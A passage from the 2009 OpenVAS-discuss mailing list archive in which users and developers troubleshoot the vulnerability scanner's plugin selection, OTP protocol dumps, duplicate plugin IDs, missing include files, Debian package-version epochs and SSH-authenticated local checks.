(Jan-Oliver Wagner) Date: Wed, 18 Mar 2009 08:52:34 +0100 Subject: [Openvas-discuss] OTP help In-Reply-To: <49BFB3CE.7030201@gmail.com> References: <49BE671C.5090203@gmail.com> <200903170933.30026.felix.wolfsteller@intevation.de> <49BFB3CE.7030201@gmail.com> Message-ID: <200903180852.34874.jan-oliver.wagner@intevation.de> On Tuesday 17 March 2009 15:29:34 Shawn Duffy wrote: > So, I would think that this means that only two plugins would be enabled > (scanner plugins) and that the port range would be limited to 1-1024. > > As I watch the status messages scroll by it looks like the portscan is > limited to 1-1024 but after that it starts running other plugins. I'm > seeing it trying to run smb checks, slad checks and other status > messages indicating that it is cycling through all available plugins: in principle, issuing a NVT could mean that its dependencies are executed as well. This could mean a chain of a couple of scripts. You can look at the script dependencies to analyse this. There is a client option that can silence the output of dependent plugins. However, they still wil be executed. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335 08 30 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From felix.wolfsteller at intevation.de Wed Mar 18 12:05:15 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Wed, 18 Mar 2009 12:05:15 +0100 Subject: [Openvas-discuss] OTP help In-Reply-To: <200903180852.34874.jan-oliver.wagner@intevation.de> References: <49BE671C.5090203@gmail.com> <49BFB3CE.7030201@gmail.com> <200903180852.34874.jan-oliver.wagner@intevation.de> Message-ID: <200903181205.15926.felix.wolfsteller@intevation.de> On Wednesday 18 March 2009 08:52:34 Jan-Oliver Wagner wrote: > On Tuesday 17 March 2009 15:29:34 Shawn Duffy wrote: > > So, I would think that this means that only two plugins would be enabled > > (scanner plugins) and that the port range would be limited to 1-1024. > > > > As I watch the status messages scroll by it looks like the portscan is > > limited to 1-1024 but after that it starts running other plugins. I'm > > seeing it trying to run smb checks, slad checks and other status > > messages indicating that it is cycling through all available plugins: > > in principle, issuing a NVT could mean that its dependencies are executed > as well. This could mean a chain of a couple of scripts. > You can look at the script dependencies to analyse this. I do not believe that this has anything to do with the dependencies. Attached a dump of a simple scan (w/o results), comments in []-brackets. I am not sure that everything important is included, but guess so, hope it helps. Please attach a full log next time. -- felix -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner -------------- next part -------------- RECV__: < OTP/1.0 > RECV__: User : SEND__: user RECV__: Password : SEND__: password RECV__: SERVER <|> PLUGINS_MD5 <|> 84a47471fdc009b5f99587fd9a4edf0a <|> SERVER SEND__: CLIENT <|> GO ON <|> CLIENT RECV__: SERVER <|> PREFERENCES <|> RECV__: max_hosts <|> 30 RECV__: max_checks <|> 10 RECV__: log_whole_attack <|> yes RECV__: cgi_path <|> /cgi-bin:/scripts RECV__: port_range <|> default RECV__: optimize_test <|> yes RECV__: language <|> english RECV__: checks_read_timeout <|> 5 RECV__: non_simult_ports <|> 139, 445 RECV__: plugins_timeout <|> 320 RECV__: safe_checks <|> yes RECV__: auto_enable_dependencies <|> yes RECV__: silent_dependencies <|> yes RECV__: use_mac_addr <|> no RECV__: save_knowledge_base <|> no RECV__: kb_restore <|> no RECV__: only_test_hosts_whose_kb_we_dont_have <|> no RECV__: only_test_hosts_whose_kb_we_have <|> no RECV__: kb_dont_replay_scanners <|> no RECV__: kb_dont_replay_info_gathering <|> no RECV__: kb_dont_replay_attacks <|> no RECV__: kb_dont_replay_denials <|> no RECV__: kb_max_age <|> 864000 RECV__: slice_network_addresses <|> no RECV__: nasl_no_signature_check <|> yes RECV__: ftp writeable directories[radio]:How to check if directories are writeable : <|> Trust the permissions (drwxrwx---);Attempt to store a file RECV__: Services[entry]:Number of connections done in parallel : <|> 6 RECV__: Services[entry]:Network connection timeout : <|> 5 8..loads of other preferences for nvts..] RECV__: The ACC router shows configuration without authentication <|> Services <|> RECV__: 4Images <= 1.7.1 Directory Traversal Vulnerability <|> HTTP Server type and version <|> RECV__: 4D WebStar Symbolic Link Vulnerability <|> HTTP Server type and version <|> RECV__: 4D WebStar Tomcat Plugin Remote Buffer Overflow flaw <|> HTTP Server type and version <|> RECV__: Non-Existant Page Physical Path Disclosure Vulnerability <|> Services <|> No 404 check <|> RECV__: 3Com NBX VoIP NetSet Detection <|> Services <|> RECV__: 12Planet Chat Server one2planet.infolet.InfoServlet XSS <|> Services <|> Web Server Cross Site Scripting <|> HTTP Server type and version <|> RECV__: <|> SERVER SEND__: CLIENT <|> CERTIFICATES <|> CLIENT RECV__: SERVER <|> CERTIFICATES RECV__: 3EA37684620F61811D53C00415AE1168BF77A464 <|> Greenbone Security Feed <|> trusted <|> 889 <|> -----BEGIN PGP PUBLIC KEY [... key ... ] -----END PGP PUBLIC KEY BLOCK-----; RECV__: <|> SERVER SEND__: CLIENT <|> SESSIONS_LIST <|> CLIENT RECV__: SERVER <|> SESSIONS_LIST RECV__: <|> SERVER SEND__: CLIENT <|> PREFERENCES <|> SEND__: ntp_opt_show_end <|> yes SEND__: ntp_keep_communication_alive <|> yes SEND__: ntp_short_status <|> yes SEND__: ntp_client_accepts_notes <|> yes SEND__: max_hosts <|> 1 SEND__: max_checks <|> 2 SEND__: cgi_path <|> /cgi-bin:/scripts SEND__: port_range <|> default SEND__: auto_enable_dependencies <|> yes SEND__: silent_dependencies <|> no SEND__: host_expansion <|> ip SEND__: ping_hosts <|> no SEND__: reverse_lookup <|> no SEND__: optimize_test <|> yes SEND__: safe_checks <|> yes SEND__: use_mac_addr <|> no SEND__: unscanned_closed <|> no SEND__: save_knowledge_base <|> no SEND__: only_test_hosts_whose_kb_we_dont_have <|> no SEND__: only_test_hosts_whose_kb_we_have <|> no SEND__: kb_restore <|> no SEND__: kb_dont_replay_scanners <|> no SEND__: kb_dont_replay_info_gathering <|> no SEND__: kb_dont_replay_attacks <|> no SEND__: kb_dont_replay_denials <|> no SEND__: kb_max_age <|> 864000 SEND__: log_whole_attack <|> yes SEND__: language <|> english SEND__: checks_read_timeout <|> 5 SEND__: non_simult_ports <|> 139, 445 SEND__: plugins_timeout <|> 320 SEND__: slice_network_addresses <|> no SEND__: nasl_no_signature_check <|> yes SEND__: timeout.1.3.6.1.4.1.25623.1.0.900431 <|> 0 SEND__: timeout.1.3.6.1.4.1.25623.1.0.800513 <|> 0 SEND__: plugin_set <|> 1.3.6.1.4.1.25623.1.0.11187;1.3.6.1.4.1.25623.1.0.10335; SEND__: HTTP NIDS evasion[checkbox]:Use HTTP HEAD instead of GET <|> no SEND__: HTTP NIDS evasion[radio]:URL encoding <|> none SEND__: HTTP NIDS evasion[radio]:Absolute URI type <|> none [... more client-side set nvt preferences ...] SEND__: Nmap (NASL wrapper)[entry]:Minimum wait between probes (ms) <|> SEND__: Nmap (NASL wrapper)[file]:File containing grepable results : <|> SEND__: <|> CLIENT SEND__: CLIENT <|> ATTACHED_FILE SEND__: name: [...] SEND__: content: octet/stream SEND__: bytes: 478 RECV__: SERVER <|> FILE_ACCEPTED <|> SERVER SEND__: CLIENT <|> ATTACHED_FILE SEND__: name: [...] SEND__: content: octet/stream SEND__: bytes: 74 RECV__: SERVER <|> FILE_ACCEPTED <|> SERVER SEND__: CLIENT <|> RULES <|> SEND__: <|> CLIENT SEND__: CLIENT <|> LONG_ATTACK <|> SEND__: 9 SEND__: CLIENT <|> BYE <|> ACK SEND__: CLIENT <|> STOP_WHOLE_TEST <|> CLIENT From shawnduffy at gmail.com Wed Mar 18 12:34:20 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Wed, 18 Mar 2009 07:34:20 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <200903181205.15926.felix.wolfsteller@intevation.de> References: <49BE671C.5090203@gmail.com> <49BFB3CE.7030201@gmail.com> <200903180852.34874.jan-oliver.wagner@intevation.de> <200903181205.15926.felix.wolfsteller@intevation.de> Message-ID: <49C0DC3C.70208@gmail.com> Thanks Felix. I'll take a look and if I still have problems, I'll send a full log. Shawn Felix Wolfsteller wrote: > On Wednesday 18 March 2009 08:52:34 Jan-Oliver Wagner wrote: >> On Tuesday 17 March 2009 15:29:34 Shawn Duffy wrote: >>> So, I would think that this means that only two plugins would be enabled >>> (scanner plugins) and that the port range would be limited to 1-1024. >>> >>> As I watch the status messages scroll by it looks like the portscan is >>> limited to 1-1024 but after that it starts running other plugins. I'm >>> seeing it trying to run smb checks, slad checks and other status >>> messages indicating that it is cycling through all available plugins: >> in principle, issuing a NVT could mean that its dependencies are executed >> as well. This could mean a chain of a couple of scripts. >> You can look at the script dependencies to analyse this. > > I do not believe that this has anything to do with the dependencies. > > Attached a dump of a simple scan (w/o results), comments in []-brackets. > I am not sure that everything important is included, but guess so, hope it > helps. > > Please attach a full log next time. > > -- felix > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From felix.wolfsteller at intevation.de Wed Mar 18 12:45:04 2009 From: felix.wolfsteller at intevation.de (Felix Wolfsteller) Date: Wed, 18 Mar 2009 12:45:04 +0100 Subject: [Openvas-discuss] OTP help In-Reply-To: <49C0DC3C.70208@gmail.com> References: <49BE671C.5090203@gmail.com> <200903181205.15926.felix.wolfsteller@intevation.de> <49C0DC3C.70208@gmail.com> Message-ID: <200903181245.04843.felix.wolfsteller@intevation.de> np Shawn, I fear that some chatter is missing in the file I attached (the communication is not [very well] abstracted in the client code). Maybe we should have a configure flag to let server and client dump their communication to a file. Would be of great help for debugging, especially for the switch to OMP. --felix -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From shawnduffy at gmail.com Wed Mar 18 12:58:34 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Wed, 18 Mar 2009 07:58:34 -0400 Subject: [Openvas-discuss] OTP help In-Reply-To: <200903181245.04843.felix.wolfsteller@intevation.de> References: <49BE671C.5090203@gmail.com> <200903181205.15926.felix.wolfsteller@intevation.de> <49C0DC3C.70208@gmail.com> <200903181245.04843.felix.wolfsteller@intevation.de> Message-ID: <49C0E1EA.6040603@gmail.com> Well the file is actually very helpful, so thank you... But I agree, some sort of flag to dump the raw communication would definitely be helpful. Thanks again! Felix Wolfsteller wrote: > np Shawn, > I fear that some chatter is missing in the file I attached (the communication > is not [very well] abstracted in the client code). > > Maybe we should have a configure flag to let server and client dump their > communication to a file. Would be of great help for debugging, especially for > the switch to OMP. > > --felix > From list-spam at secureconsulting.net Wed Mar 18 15:43:52 2009 From: list-spam at secureconsulting.net (Benjamin Tomhave) Date: Wed, 18 Mar 2009 10:43:52 -0400 Subject: [Openvas-discuss] gentoo ebuild maintainer for openvasd? Message-ID: <49C108A8.1080807@secureconsulting.net> Howdy, I'm looking for the maintainer of the gentoo ebuild in the official portgage tree for openvasd. I found a configuration error (/var/lib/lib/openvas/openvas-services is referenced instead of /var/lib/openvas/openvas-services) that I assume is being set in the ebuild configure script settings. Short-term kludge was to ln -s /var/lib /var/lib/lib but that's not really a particularly good solution. Thank you, -ben -- Benjamin Tomhave, MS, CISSP falcon at secureconsulting.net LI: http://www.linkedin.com/in/btomhave Blog: http://www.secureconsulting.net/ Photos: http://photos.secureconsulting.net/ Web: http://falcon.secureconsulting.net/ [ Random Quote: ] "The ability to delude yourself may be an important survival tool." Jane Wagner From michael.wiegand at intevation.de Wed Mar 18 15:58:47 2009 From: michael.wiegand at intevation.de (Michael Wiegand) Date: Wed, 18 Mar 2009 15:58:47 +0100 Subject: [Openvas-discuss] gentoo ebuild maintainer for openvasd? In-Reply-To: <49C108A8.1080807@secureconsulting.net> References: <49C108A8.1080807@secureconsulting.net> Message-ID: <20090318145847.GB2507@intevation.de> * Benjamin Tomhave [18. Mar 2009]: > Howdy, > > I'm looking for the maintainer of the gentoo ebuild in the official > portgage tree for openvasd. I found a configuration error > (/var/lib/lib/openvas/openvas-services is referenced instead of > /var/lib/openvas/openvas-services) that I assume is being set in the > ebuild configure script settings. Short-term kludge was to ln -s > /var/lib /var/lib/lib but that's not really a particularly good solution. The gentoo ebuilds are maintained by Hanno B?ck (hanno at hboeck.de) if I'm not mistaken. Please contact him, he might be interested to hear this. The issue you are observering might be related to the fact that openvas-services is packaged with openvas-server while being used exclusively by openvas-libraries. This will be most likely fixed in the next versions of those two packages. Regards, Michael -- Michael Wiegand | OpenPGP: D7D049EC | Intevation GmbH - www.intevation.de Neuer Graben 17, 49074 Osnabr?ck, Germany | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 206 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-discuss/attachments/20090318/fa6255a6/attachment.pgp From list-spam at secureconsulting.net Wed Mar 18 16:18:16 2009 From: list-spam at secureconsulting.net (Benjamin Tomhave) Date: Wed, 18 Mar 2009 11:18:16 -0400 Subject: [Openvas-discuss] gentoo ebuild maintainer for openvasd? In-Reply-To: <20090318145847.GB2507@intevation.de> References: <49C108A8.1080807@secureconsulting.net> <20090318145847.GB2507@intevation.de> Message-ID: <49C110B8.9010105@secureconsulting.net> Thanks, I'll send him a note. -ben Michael Wiegand wrote: > * Benjamin Tomhave [18. Mar 2009]: >> Howdy, >> >> I'm looking for the maintainer of the gentoo ebuild in the official >> portgage tree for openvasd. I found a configuration error >> (/var/lib/lib/openvas/openvas-services is referenced instead of >> /var/lib/openvas/openvas-services) that I assume is being set in the >> ebuild configure script settings. Short-term kludge was to ln -s >> /var/lib /var/lib/lib but that's not really a particularly good solution. > > The gentoo ebuilds are maintained by Hanno B?ck (hanno at hboeck.de) if I'm > not mistaken. Please contact him, he might be interested to hear this. > > The issue you are observering might be related to the fact that > openvas-services is packaged with openvas-server while being used > exclusively by openvas-libraries. This will be most likely fixed in the > next versions of those two packages. > > Regards, > > Michael > -- Benjamin Tomhave, MS, CISSP falcon at secureconsulting.net LI: http://www.linkedin.com/in/btomhave Blog: http://www.secureconsulting.net/ Photos: http://photos.secureconsulting.net/ Web: http://falcon.secureconsulting.net/ [ Random Quote: ] "Democracy is the recurrent suspicion that more than half of the people are right more than half the time." E. B. White From shawnduffy at gmail.com Wed Mar 18 19:19:45 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Wed, 18 Mar 2009 14:19:45 -0400 Subject: [Openvas-discuss] More on duplicate IDs Message-ID: <49C13B41.5010308@gmail.com> So, because of some of the problems I was having before with duplicate plugin IDs, I decided to pull the list of loaded plugins directly from the OpenVAS server via OTP. I actually started with an empty plugins directory and synced the NVTs so I would only have the live NVTs available via the OpenVAS rsync server. Once all the plugins were synced, I restarted OpenVASd, connected to the server and pulled a full plugin list. I'm still seeing two duplicate plugin IDs: ID: 100056 Name1: Woltlab Burning Board Multiple Input Validation Vulnerabilites Name2: Cryptographp 'index.php' Local File Include Vulnerability ID: 100030 Name1: Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities Name2: Softbiz Classifieds Script Multiple Cross Site Scripting Vulnerabilities For the record, I am dropping all data from the table before I pull a fresh list so these are definitely both loaded by the OpenVAS server. For the time being, I'm just not inserting any plugin ID that already exists in the DB. But I'd like to see if this can be corrected to ensure that all plugin IDs are unique. Thanks! Shawn From bchandra at secpod.com Thu Mar 19 06:13:56 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 19 Mar 2009 10:43:56 +0530 Subject: [Openvas-discuss] More on duplicate IDs In-Reply-To: <49C13B41.5010308@gmail.com> References: <49C13B41.5010308@gmail.com> Message-ID: <6C78718305C44D10B13B0262C9D54526@bchandra> Hello Shawn, This was addressed yesterday, can you synch NVT's again? Thanks, Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn Duffy Sent: Wednesday, March 18, 2009 11:50 PM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] More on duplicate IDs So, because of some of the problems I was having before with duplicate plugin IDs, I decided to pull the list of loaded plugins directly from the OpenVAS server via OTP. I actually started with an empty plugins directory and synced the NVTs so I would only have the live NVTs available via the OpenVAS rsync server. Once all the plugins were synced, I restarted OpenVASd, connected to the server and pulled a full plugin list. I'm still seeing two duplicate plugin IDs: ID: 100056 Name1: Woltlab Burning Board Multiple Input Validation Vulnerabilites Name2: Cryptographp 'index.php' Local File Include Vulnerability ID: 100030 Name1: Butterfly Organizer Multiple SQL Injection and Cross-Site Scripting Vulnerabilities Name2: Softbiz Classifieds Script Multiple Cross Site Scripting Vulnerabilities For the record, I am dropping all data from the table before I pull a fresh list so these are definitely both loaded by the OpenVAS server. For the time being, I'm just not inserting any plugin ID that already exists in the DB. But I'd like to see if this can be corrected to ensure that all plugin IDs are unique. Thanks! Shawn _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From shawnduffy at gmail.com Thu Mar 19 12:22:57 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 19 Mar 2009 07:22:57 -0400 Subject: [Openvas-discuss] More on duplicate IDs In-Reply-To: <6C78718305C44D10B13B0262C9D54526@bchandra> References: <49C13B41.5010308@gmail.com> <6C78718305C44D10B13B0262C9D54526@bchandra> Message-ID: <49C22B11.9060808@gmail.com> OK, looks like it works now... What I didn't expect though was I had to clear the openvasd cache. The cache appears to only hold descriptions rather than plugin_ids but I kept seeing the same duplicates until I emptied out the cache and then restarted openvasd with a fresh plugin set. I'm assuming that the openvasd server maintains some sort of index internally with the plugin_ids? Anyway... looks like there's no duplicates now. Thanks! Shawn Chandrashekhar B wrote: > Hello Shawn, > > This was addressed yesterday, can you synch NVT's again? > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn > Duffy > Sent: Wednesday, March 18, 2009 11:50 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] More on duplicate IDs > > So, because of some of the problems I was having before with duplicate > plugin IDs, I decided to pull the list of loaded plugins directly from > the OpenVAS server via OTP. I actually started with an empty plugins > directory and synced the NVTs so I would only have the live NVTs > available via the OpenVAS rsync server. Once all the plugins were > synced, I restarted OpenVASd, connected to the server and pulled a full > plugin list. I'm still seeing two duplicate plugin IDs: > > ID: 100056 > Name1: Woltlab Burning Board Multiple Input Validation Vulnerabilites > Name2: Cryptographp 'index.php' Local File Include Vulnerability > > ID: 100030 > Name1: Butterfly Organizer Multiple SQL Injection and Cross-Site > Scripting Vulnerabilities > Name2: Softbiz Classifieds Script Multiple Cross Site Scripting > Vulnerabilities > > For the record, I am dropping all data from the table before I pull a > fresh list so these are definitely both loaded by the OpenVAS server. > > For the time being, I'm just not inserting any plugin ID that already > exists in the DB. But I'd like to see if this can be corrected to > ensure that all plugin IDs are unique. > > Thanks! > Shawn > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > > From shawnduffy at gmail.com Thu Mar 19 13:25:53 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 19 Mar 2009 08:25:53 -0400 Subject: [Openvas-discuss] Plugin dependencies and includes Message-ID: <49C239D1.5030402@gmail.com> Since I recently emptied the openvasd cache, I was recently reminded of a few include files that openvasd can't seem to find but are needed for certain plugins. I looked through the mailing list archives and there's been some discussion about this but I haven't been able to find a definitive answer. Currently, openvasd cannot find: sunrpc_func.inc smb_func.inc slad.inc byte_func.inc smb_file_funcs.inc Are these coming from plugins that haven't been updated for openvas or is there something that my installation is missing. Thanks again! Shawn From bchandra at secpod.com Thu Mar 19 13:41:37 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 19 Mar 2009 18:11:37 +0530 Subject: [Openvas-discuss] Plugin dependencies and includes In-Reply-To: <49C239D1.5030402@gmail.com> References: <49C239D1.5030402@gmail.com> Message-ID: <717300ADE719457881793A8D97C47644@bchandra> Hello Shawn, Some of the OpenVAS Plugins are derived from the earlier Nessus GPL feed and some aren't included because of the license issue. Except slad.inc, which comes if you install SLAD, others are really missing. Very few are depending on these inc's. We are re-writing based on the importance. Thanks, Chandra. -----Original Message----- From: openvas-discuss-bounces at wald.intevation.org [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn Duffy Sent: Thursday, March 19, 2009 5:56 PM To: openvas-discuss at wald.intevation.org Subject: [Openvas-discuss] Plugin dependencies and includes Since I recently emptied the openvasd cache, I was recently reminded of a few include files that openvasd can't seem to find but are needed for certain plugins. I looked through the mailing list archives and there's been some discussion about this but I haven't been able to find a definitive answer. Currently, openvasd cannot find: sunrpc_func.inc smb_func.inc slad.inc byte_func.inc smb_file_funcs.inc Are these coming from plugins that haven't been updated for openvas or is there something that my installation is missing. Thanks again! Shawn _______________________________________________ Openvas-discuss mailing list Openvas-discuss at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss From shawnduffy at gmail.com Thu Mar 19 13:45:15 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 19 Mar 2009 08:45:15 -0400 Subject: [Openvas-discuss] Plugin dependencies and includes In-Reply-To: <717300ADE719457881793A8D97C47644@bchandra> References: <49C239D1.5030402@gmail.com> <717300ADE719457881793A8D97C47644@bchandra> Message-ID: <49C23E5B.6050007@gmail.com> OK cool... thanks! Chandrashekhar B wrote: > Hello Shawn, > > Some of the OpenVAS Plugins are derived from the earlier Nessus GPL feed and > some aren't included because of the license issue. Except slad.inc, which > comes if you install SLAD, others are really missing. Very few are depending > on these inc's. We are re-writing based on the importance. > > Thanks, > Chandra. > > -----Original Message----- > From: openvas-discuss-bounces at wald.intevation.org > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of Shawn > Duffy > Sent: Thursday, March 19, 2009 5:56 PM > To: openvas-discuss at wald.intevation.org > Subject: [Openvas-discuss] Plugin dependencies and includes > > Since I recently emptied the openvasd cache, I was recently reminded of > a few include files that openvasd can't seem to find but are needed for > certain plugins. I looked through the mailing list archives and there's > been some discussion about this but I haven't been able to find a > definitive answer. > > Currently, openvasd cannot find: > sunrpc_func.inc > smb_func.inc > slad.inc > byte_func.inc > smb_file_funcs.inc > > Are these coming from plugins that haven't been updated for openvas or > is there something that my installation is missing. > > Thanks again! > Shawn > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > > From bchandra at secpod.com Thu Mar 19 13:47:01 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Thu, 19 Mar 2009 18:17:01 +0530 Subject: [Openvas-discuss] Ubuntu package inc Message-ID: For some of the packages on Ubuntu, such as, openoffice.org-help-en-us 2.4.1-1ubuntu2.1 when you run dpkg -l, it returns, openoffice.org-help-en-us 1:2.4.1-1ubuntu2.1 Some local checks are failing because of this, since the version comparison fails. I guess the same thing happens on Debian too. We plan to update the pkg-lib-deb.inc to exclude 'n:' (if that exists in the package version) before comparison. Anybody sees issue with that? Thanks, Chandra. From shawnduffy at gmail.com Thu Mar 19 15:55:19 2009 From: shawnduffy at gmail.com (Shawn Duffy) Date: Thu, 19 Mar 2009 10:55:19 -0400 Subject: [Openvas-discuss] Local checks and SSH Message-ID: <49C25CD7.6030401@gmail.com> Tired of hearing from me yet? :-) So, I'm setting a username and password in the client prefs as follows: SSH Authorization[entry]:SSH login name: <|> USERNAME SSH Authorization[password]:SSH password (unsafe!): <|> PASSWORD I'm also enabling local checks for the operating system of the target. But, the local checks aren't being triggered. Here are some of the errors from openvasd.messages and openvasd.dump: openvasd.messages:[Thu Mar 19 10:51:16 2009][30128] shared_socket: Secret/SSH/socket is unknown openvasd.messages:[Thu Mar 19 10:40:09 2009][29924] user USER : Not launching ovcesa2009_0256.nasl against TARGET because the key ssh/login/rpms is missing (this is not an error) openvasd.messages:[Thu Mar 19 10:40:09 2009][29924] user USER : Not launching gb_CESA-2008_0161_cups_centos5_x86_64.nasl against TARGET because the key ssh/login/release is missing (this is not an error) openvasd.dump:SSH-DEBUG: Not setting login information for local checks at a3s-mtc1.itsec.aol.com : No mapping found. The client preferences that the client is sending are below: CLIENT <|> PREFERENCES <|> ntp_opt_show_end <|> yes ntp_keep_communication_alive <|> yes ntp_short_status <|> no ntp_client_accepts_notes <|> yes max_hosts <|> 1 cgi_path <|> /cgi-bin:/scripts port_range <|> 1-65535 auto_enable_dependencies <|> yes silent_dependencies <|> yes host_expansion <|> ip ping_hosts <|> no reverse_lookup <|> no optimize_test <|> yes safe_checks <|> no use_mac_addr <|> no unscanned_closed <|> no save_knowledge_base <|> yes only_test_hosts_whose_kb_we_dont_have <|> no only_test_hosts_whose_kb_we_have <|> no kb_restore <|> no kb_dont_replay_scanners <|> no kb_dont_replay_info_gathering <|> no kb_dont_replay_attacks <|> no kb_dont_replay_denials <|> no kb_max_age <|> 864000 log_whole_attack <|> yes language <|> english checks_read_timeout <|> 10 non_simult_ports <|> 139, 445 plugins_timeout <|> 320 slice_network_addresses <|> no nasl_no_signature_check <|> yes Global variable settings[checkbox]:Thorough tests (slow) <|> yes SSH Authorization[entry]:SSH login name: <|> USERNAME SSH Authorization[password]:SSH password (unsafe!): <|> PASSWORD Global variable settings[entry]:Debug level <|> 10 plugin_set <|> (list of plugins from multiple families including local tests) <|> CLIENT Any help would be greatly appreciated... Thanks! Shawn From lists at securityspace.com Thu Mar 19 15:56:15 2009 From: lists at securityspace.com (Thomas Reinke) Date: Thu, 19 Mar 2009 10:56:15 -0400 Subject: [Openvas-discuss] Ubuntu package inc In-Reply-To: References: Message-ID: <49C25D0F.8010202@securityspace.com> Chandrashekhar B wrote: > For some of the packages on Ubuntu, such as, > > openoffice.org-help-en-us 2.4.1-1ubuntu2.1 > > when you run dpkg -l, it returns, > > openoffice.org-help-en-us 1:2.4.1-1ubuntu2.1 > > Some local checks are failing because of this, since the version comparison > fails. I guess the same thing happens on Debian too. We plan to update the > pkg-lib-deb.inc to exclude 'n:' (if that exists in the package version) > before comparison. Anybody sees issue with that? Hmm...that's a new one for us. Having looked into it, though, the fix isn't in pkg-lib-deb.inc. The 'n:' at the start of a package version string is called the epoch. It is deliberately placed there to provide an additional sort should there either be version number errors, or should an old version numbering scheme be chosen to be left behind. As such, it does form an integral part of the version number and cannot just be dropped. http://manpages.ubuntu.com/manpages/intrepid/man5/deb-version.5.html The correct fix is to go back and update the local security checks that dropped the 'n:' off the version number when parsing the various checks. It seems in Debian the epoch was added post Debian 4.0, while in Ubuntu it's showing up in the 8.x streams. Since we're the source of the problem on this one, I suggest we fix it. I should be able to commit an update later on today. Thomas From lists at securityspace.com Thu Mar 19 16:38:20 2009 From: lists at securityspace.com (Thomas Reinke) Date: Thu, 19 Mar 2009 11:38:20 -0400 Subject: [Openvas-discuss] Ubuntu package inc In-Reply-To: <49C25D0F.8010202@securityspace.com> References: <49C25D0F.8010202@securityspace.com> Message-ID: <49C266EC.8090604@securityspace.com> Ugh. Seems I just ran into a brick wall on this one. Thinking our parsers were incorrectly dropping the epoch was itself incorrect. The epoch portions of the version strings are actually not readily available in the advisories. That makes Chandra's original suggestion probably the best one - to drop the epoch. It does mean that we may have a few cases to deal with where an epoch change results in a script failure. But those are probably more easily handled as one-off situations at this point in time. Thomas Thomas Reinke wrote: > Chandrashekhar B wrote: >> For some of the packages on Ubuntu, such as, >> >> openoffice.org-help-en-us 2.4.1-1ubuntu2.1 >> >> when you run dpkg -l, it returns, >> >> openoffice.org-help-en-us 1:2.4.1-1ubuntu2.1 >> >> Some local checks are failing because of this, since the version comparison >> fails. I guess the same thing happens on Debian too. We plan to update the >> pkg-lib-deb.inc to exclude 'n:' (if that exists in the package version) >> before comparison. Anybody sees issue with that? > > Hmm...that's a new one for us. Having looked into it, though, the > fix isn't in pkg-lib-deb.inc. The 'n:' at the start of > a package version string is called the epoch. It is deliberately > placed there to provide an additional sort should there either > be version number errors, or should an old version numbering scheme > be chosen to be left behind. As such, it does form an integral > part of the version number and cannot just be dropped. > http://manpages.ubuntu.com/manpages/intrepid/man5/deb-version.5.html > > The correct fix is to go back and update the local security checks > that dropped the 'n:' off the version number when parsing the > various checks. > > It seems in Debian the epoch was added post Debian 4.0, while > in Ubuntu it's showing up in the 8.x streams. > > Since we're the source of the problem on this one, I suggest > we fix it. I should be able to commit an update later on today. > > Thomas > > > > _______________________________________________ > Openvas-discuss mailing list > Openvas-discuss at wald.intevation.org > http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss > From timb at nth-dimension.org.uk Thu Mar 19 17:24:25 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Thu, 19 Mar 2009 16:24:25 +0000 Subject: [Openvas-discuss] Local checks and SSH In-Reply-To: <49C25CD7.6030401@gmail.com> References: <49C25CD7.6030401@gmail.com> Message-ID: <200903191624.27593.timb@nth-dimension.org.uk> On Thursday 19 March 2009 14:55:19 Shawn Duffy wrote: > Tired of hearing from me yet? :-) Not at all, feedback is always good. > So, I'm setting a username and password in the client prefs as follows: > > SSH Authorization[entry]:SSH login name: <|> USERNAME > SSH 